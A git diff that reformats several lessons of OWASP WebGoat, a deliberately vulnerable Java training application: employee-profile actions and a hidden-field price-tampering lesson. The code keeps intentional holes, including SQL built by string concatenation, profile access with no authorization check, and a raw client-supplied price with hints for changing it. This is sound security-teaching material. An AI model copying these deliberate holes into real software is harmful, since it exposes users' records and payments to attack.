+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
+
+ }
+
+ public String getNextPage(WebSession s)
+ {
+ return chainedAction.getNextPage(s);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java
index 7113b4c76..7e3001566 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/SearchStaff.java
@@ -1,49 +1,47 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class SearchStaff extends DefaultLessonAction
{
- public SearchStaff(GoatHillsFinancial lesson, String lessonName,
- String actionName)
- {
- super(lesson, lessonName, actionName);
- }
+ public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
+ {
+ super(lesson, lessonName, actionName);
+ }
-
- public String getNextPage(WebSession s)
- {
- return GoatHillsFinancial.SEARCHSTAFF_ACTION;
- }
+ public String getNextPage(WebSession s)
+ {
+ return GoatHillsFinancial.SEARCHSTAFF_ACTION;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java
index 487ef3180..c4f0e3bbf 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/UpdateProfile.java
@@ -1,10 +1,10 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
-
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
@@ -12,236 +12,205 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class UpdateProfile extends DefaultLessonAction
{
- private LessonAction chainedAction;
+ private LessonAction chainedAction;
- public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName, LessonAction chainedAction)
- {
- super(lesson, lessonName, actionName);
- this.chainedAction = chainedAction;
- }
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException,
- ValidationException
- {
- if (isAuthenticated(s))
+ public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.USER_ID);
-
- int subjectId = s.getParser().getIntParameter(
- GoatHillsFinancial.EMPLOYEE_ID, 0);
-
- String firstName = s.getParser().getStringParameter(
- GoatHillsFinancial.FIRST_NAME);
- String lastName = s.getParser().getStringParameter(
- GoatHillsFinancial.LAST_NAME);
- String ssn = s.getParser().getStringParameter(
- GoatHillsFinancial.SSN);
- String title = s.getParser().getStringParameter(
- GoatHillsFinancial.TITLE);
- String phone = s.getParser().getStringParameter(
- GoatHillsFinancial.PHONE_NUMBER);
- String address1 = s.getParser().getStringParameter(
- GoatHillsFinancial.ADDRESS1);
- String address2 = s.getParser().getStringParameter(
- GoatHillsFinancial.ADDRESS2);
- int manager = s.getParser().getIntParameter(
- GoatHillsFinancial.MANAGER);
- String startDate = s.getParser().getStringParameter(
- GoatHillsFinancial.START_DATE);
- int salary = s.getParser().getIntParameter(
- GoatHillsFinancial.SALARY);
- String ccn = s.getParser().getStringParameter(
- GoatHillsFinancial.CCN);
- int ccnLimit = s.getParser().getIntParameter(
- GoatHillsFinancial.CCN_LIMIT);
- String disciplinaryActionDate = s.getParser().getStringParameter(
- GoatHillsFinancial.DISCIPLINARY_DATE);
- String disciplinaryActionNotes = s.getParser().getStringParameter(
- GoatHillsFinancial.DISCIPLINARY_NOTES);
- String personalDescription = s.getParser().getStringParameter(
- GoatHillsFinancial.DESCRIPTION);
-
- Employee employee = new Employee(subjectId, firstName, lastName,
- ssn, title, phone, address1, address2, manager, startDate,
- salary, ccn, ccnLimit, disciplinaryActionDate,
- disciplinaryActionNotes, personalDescription);
-
- if (subjectId > 0)
- {
- this.changeEmployeeProfile(s, userId, subjectId, employee);
- setRequestAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.EMPLOYEE_ID, Integer
- .toString(subjectId));
- }
- else
- this.createEmployeeProfile(s, userId, employee);
-
- try
- {
- chainedAction.handleRequest(s);
- }
- catch (UnauthenticatedException ue1)
- {
- System.out.println("Internal server error");
- ue1.printStackTrace();
- }
- catch (UnauthorizedException ue2)
- {
- System.out.println("Internal server error");
- ue2.printStackTrace();
- }
+ super(lesson, lessonName, actionName);
+ this.chainedAction = chainedAction;
}
- else
- throw new UnauthenticatedException();
- }
- public String getNextPage(WebSession s)
- {
- return GoatHillsFinancial.VIEWPROFILE_ACTION;
- }
-
- public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
- Employee employee) throws UnauthorizedException
- {
- try
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException, ValidationException
{
- // Note: The password field is ONLY set by ChangePassword
- String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
- + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
- + " personal_description = ? WHERE userid = ?;";
- try
- {
- PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ if (isAuthenticated(s))
+ {
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
- ps.setString(1, employee.getFirstName());
- ps.setString(2, employee.getLastName());
- ps.setString(3, employee.getSsn());
- ps.setString(4, employee.getTitle());
- ps.setString(5, employee.getPhoneNumber());
- ps.setString(6, employee.getAddress1());
- ps.setString(7, employee.getAddress2());
- ps.setInt(8, employee.getManager());
- ps.setString(9, employee.getStartDate());
- ps.setString(10, employee.getCcn());
- ps.setInt(11, employee.getCcnLimit());
- ps.setString(12, employee.getPersonalDescription());
- ps.setInt(13, subjectId);
- ps.execute();
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error updating employee profile");
- sqle.printStackTrace();
- }
+ int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0);
+ String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME);
+ String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME);
+ String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN);
+ String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE);
+ String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER);
+ String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1);
+ String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2);
+ int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER);
+ String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE);
+ int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY);
+ String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN);
+ int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT);
+ String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE);
+ String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES);
+ String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION);
+
+ Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
+ manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
+ personalDescription);
+
+ if (subjectId > 0)
+ {
+ this.changeEmployeeProfile(s, userId, subjectId, employee);
+ setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer
+ .toString(subjectId));
+ }
+ else
+ this.createEmployeeProfile(s, userId, employee);
+
+ try
+ {
+ chainedAction.handleRequest(s);
+ } catch (UnauthenticatedException ue1)
+ {
+ System.out.println("Internal server error");
+ ue1.printStackTrace();
+ } catch (UnauthorizedException ue2)
+ {
+ System.out.println("Internal server error");
+ ue2.printStackTrace();
+ }
+ }
+ else
+ throw new UnauthenticatedException();
}
- catch (Exception e)
- {
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
- }
- }
- private int getNextUID(WebSession s)
- {
- int uid = -1;
- try
+ public String getNextPage(WebSession s)
{
- Statement statement = WebSession.getConnection(s).createStatement(
- ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet results = statement
- .executeQuery("select max(userid) as uid from employee");
- results.first();
- uid = results.getInt("uid");
+ return GoatHillsFinancial.VIEWPROFILE_ACTION;
}
- catch (SQLException sqle)
- {
- sqle.printStackTrace();
- s.setMessage("Error updating employee profile");
- }
- catch (ClassNotFoundException e)
- {
- // TODO Auto-generated catch block
- e.printStackTrace();
- }
- return uid + 1;
- }
- public void createEmployeeProfile(WebSession s, int userId,
- Employee employee) throws UnauthorizedException
- {
- try
+ public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
+ throws UnauthorizedException
{
+ try
+ {
+ // Note: The password field is ONLY set by ChangePassword
+ String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ + " personal_description = ? WHERE userid = ?;";
+ try
+ {
+ PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
+ ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+
+ ps.setString(1, employee.getFirstName());
+ ps.setString(2, employee.getLastName());
+ ps.setString(3, employee.getSsn());
+ ps.setString(4, employee.getTitle());
+ ps.setString(5, employee.getPhoneNumber());
+ ps.setString(6, employee.getAddress1());
+ ps.setString(7, employee.getAddress2());
+ ps.setInt(8, employee.getManager());
+ ps.setString(9, employee.getStartDate());
+ ps.setString(10, employee.getCcn());
+ ps.setInt(11, employee.getCcnLimit());
+ ps.setString(12, employee.getPersonalDescription());
+ ps.setInt(13, subjectId);
+ ps.execute();
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error updating employee profile");
+ sqle.printStackTrace();
+ }
+
+ } catch (Exception e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ }
+ }
+
+ private int getNextUID(WebSession s)
+ {
+ int uid = -1;
+ try
+ {
+ Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
+ ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
+ results.first();
+ uid = results.getInt("uid");
+ } catch (SQLException sqle)
+ {
+ sqle.printStackTrace();
+ s.setMessage("Error updating employee profile");
+ } catch (ClassNotFoundException e)
+ {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+ return uid + 1;
+ }
+
+ public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
+ {
+ try
+ {
int nextId = getNextUID(s);
- String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
+ String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
- try
- {
- PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
+ try
+ {
+ PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
- ps.setString(1, employee.getFirstName().toLowerCase());
- ps.setString(2, employee.getLastName());
- ps.setString(3, employee.getSsn());
- ps.setString(4, employee.getTitle());
- ps.setString(5, employee.getPhoneNumber());
- ps.setString(6, employee.getAddress1());
- ps.setString(7, employee.getAddress2());
- ps.setInt(8, employee.getManager());
- ps.setString(9, employee.getStartDate());
- ps.setString(10, employee.getCcn());
- ps.setInt(11, employee.getCcnLimit());
- ps.setString(12, employee.getDisciplinaryActionDate());
- ps.setString(13, employee.getDisciplinaryActionNotes());
- ps.setString(14, employee.getPersonalDescription());
+ ps.setString(1, employee.getFirstName().toLowerCase());
+ ps.setString(2, employee.getLastName());
+ ps.setString(3, employee.getSsn());
+ ps.setString(4, employee.getTitle());
+ ps.setString(5, employee.getPhoneNumber());
+ ps.setString(6, employee.getAddress1());
+ ps.setString(7, employee.getAddress2());
+ ps.setInt(8, employee.getManager());
+ ps.setString(9, employee.getStartDate());
+ ps.setString(10, employee.getCcn());
+ ps.setInt(11, employee.getCcnLimit());
+ ps.setString(12, employee.getDisciplinaryActionDate());
+ ps.setString(13, employee.getDisciplinaryActionNotes());
+ ps.setString(14, employee.getPersonalDescription());
- ps.execute();
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error updating employee profile");
- sqle.printStackTrace();
- }
+ ps.execute();
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error updating employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error updating employee profile");
+ e.printStackTrace();
+ }
}
- catch (Exception e)
- {
- s.setMessage("Error updating employee profile");
- e.printStackTrace();
- }
- }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java
index baae6aa7a..9a79405db 100755
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/GoatHillsFinancial/ViewProfile.java
@@ -1,146 +1,124 @@
+
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
-
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class ViewProfile extends DefaultLessonAction
{
- public ViewProfile(GoatHillsFinancial lesson, String lessonName,
- String actionName)
- {
- super(lesson, lessonName, actionName);
- }
-
-
- public void handleRequest(WebSession s) throws ParameterNotFoundException,
- UnauthenticatedException, UnauthorizedException
- {
- getLesson().setCurrentAction(s, getActionName());
-
- if (isAuthenticated(s))
+ public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
- int userId = getIntSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.USER_ID);
- int employeeId = -1;
- try
- {
- // User selected employee
- employeeId = s.getParser().getIntParameter(
- GoatHillsFinancial.EMPLOYEE_ID);
- }
- catch (ParameterNotFoundException e)
- {
- // May be an internally selected employee
- employeeId = getIntRequestAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.EMPLOYEE_ID);
- }
-
- Employee employee = getEmployeeProfile(s, userId, employeeId);
- setSessionAttribute(s, getLessonName() + "."
- + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ super(lesson, lessonName, actionName);
}
- else
- throw new UnauthenticatedException();
- }
-
- public String getNextPage(WebSession s)
- {
- return GoatHillsFinancial.VIEWPROFILE_ACTION;
- }
-
-
- protected Employee getEmployeeProfile(WebSession s, int userId,
- int subjectUserId) throws UnauthorizedException
- {
- Employee profile = null;
-
- // Query the database for the profile data of the given employee
- try
+ public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
+ UnauthorizedException
{
- String query = "SELECT * FROM employee WHERE userid = "
- + subjectUserId;
+ getLesson().setCurrentAction(s, getActionName());
- try
- {
- Statement answer_statement = WebSession.getConnection(s)
- .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
- ResultSet.CONCUR_READ_ONLY);
- ResultSet answer_results = answer_statement.executeQuery(query);
- if (answer_results.next())
+ if (isAuthenticated(s))
{
- // Note: Do NOT get the password field.
- profile = new Employee(answer_results.getInt("userid"),
- answer_results.getString("first_name"),
- answer_results.getString("last_name"),
- answer_results.getString("ssn"), answer_results
- .getString("title"), answer_results
- .getString("phone"), answer_results
- .getString("address1"), answer_results
- .getString("address2"), answer_results
- .getInt("manager"), answer_results
- .getString("start_date"), answer_results
- .getInt("salary"), answer_results
- .getString("ccn"), answer_results
- .getInt("ccn_limit"), answer_results
- .getString("disciplined_date"),
- answer_results.getString("disciplined_notes"),
- answer_results.getString("personal_description"));
- /* System.out.println("Retrieved employee from db: " +
- profile.getFirstName() + " " + profile.getLastName() +
- " (" + profile.getId() + ")");
- */}
- }
- catch (SQLException sqle)
- {
- s.setMessage("Error getting employee profile");
- sqle.printStackTrace();
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error getting employee profile");
- e.printStackTrace();
+ int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
+ int employeeId = -1;
+ try
+ {
+ // User selected employee
+ employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
+ } catch (ParameterNotFoundException e)
+ {
+ // May be an internally selected employee
+ employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
+ }
+
+ Employee employee = getEmployeeProfile(s, userId, employeeId);
+ setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
+ }
+ else
+ throw new UnauthenticatedException();
+
}
- return profile;
- }
+ public String getNextPage(WebSession s)
+ {
+ return GoatHillsFinancial.VIEWPROFILE_ACTION;
+ }
+
+ protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
+ {
+ Employee profile = null;
+
+ // Query the database for the profile data of the given employee
+ try
+ {
+ String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
+
+ try
+ {
+ Statement answer_statement = WebSession.getConnection(s)
+ .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
+ ResultSet answer_results = answer_statement.executeQuery(query);
+ if (answer_results.next())
+ {
+ // Note: Do NOT get the password field.
+ profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
+ answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
+ .getString("title"), answer_results.getString("phone"), answer_results
+ .getString("address1"), answer_results.getString("address2"), answer_results
+ .getInt("manager"), answer_results.getString("start_date"), answer_results
+ .getInt("salary"), answer_results.getString("ccn"), answer_results
+ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
+ .getString("disciplined_notes"), answer_results.getString("personal_description"));
+ /*
+ * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
+ * profile.getLastName() + " (" + profile.getId() + ")");
+ */}
+ } catch (SQLException sqle)
+ {
+ s.setMessage("Error getting employee profile");
+ sqle.printStackTrace();
+ }
+ } catch (Exception e)
+ {
+ s.setMessage("Error getting employee profile");
+ e.printStackTrace();
+ }
+
+ return profile;
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java
index 8d11272b3..e300434d9 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HiddenFieldTampering.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -22,46 +22,44 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams Aspect Security
* @author Bruce Mayhew WebGoat
* @created October 28, 2003
-*/
+ */
public class HiddenFieldTampering extends LessonAdapter
{
- public final static A ASPECT_LOGO =
- new A().setHref("http://www.aspectsecurity.com").addElement(
- new IMG("images/logos/aspect.jpg")
- .setAlt("Aspect Security").setBorder(0)
- .setHspace(0).setVspace(0));
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
private final static String PRICE = "Price";
@@ -69,14 +67,14 @@ public class HiddenFieldTampering extends LessonAdapter
private final static String PRICE_TV_HACKED = "9.99";
- String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any interesting exploit!
+ String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any
+ // interesting exploit!
Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator");
- String script =
- "" + lineSep;
+ String script = "" + lineSep;
/**
* Constructor for the HiddenFieldScreen object
@@ -104,8 +102,7 @@ public class HiddenFieldTampering extends LessonAdapter
price = s.getParser().getRawParameter(PRICE, PRICE_TV);
quantity = s.getParser().getFloatParameter("QTY", 1.0f);
total = quantity * Float.parseFloat(price);
- }
- catch (Exception e)
+ } catch (Exception e)
{
s.setMessage("Invaild data " + this.getClass().getName());
price = PRICE_TV;
@@ -162,7 +159,8 @@ public class HiddenFieldTampering extends LessonAdapter
ec.addElement(input);
ec.addElement(new BR());
- } else
+ }
+ else
{
if (!price.toString().equals(PRICE_TV))
{
@@ -200,7 +198,7 @@ public class HiddenFieldTampering extends LessonAdapter
hints.add("Use a program to intercept and change the value in the hidden field.");
hints
.add("Use WebScarab to change the price of the TV from "
- + PRICE_TV + " to " + PRICE_TV_HACKED + ".");
+ + PRICE_TV + " to " + PRICE_TV_HACKED + ".");
return hints;
}
@@ -212,8 +210,7 @@ public class HiddenFieldTampering extends LessonAdapter
*/
public String getInstructions(WebSession s)
{
- String instructions =
- "Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
+ String instructions = "Try to purchase the HDTV for less than the purchase price, if you have not done so already.";
return (instructions);
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java
index a18af7a8f..c41d374e4 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HtmlClues.java
@@ -1,8 +1,8 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -17,244 +17,234 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
-
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
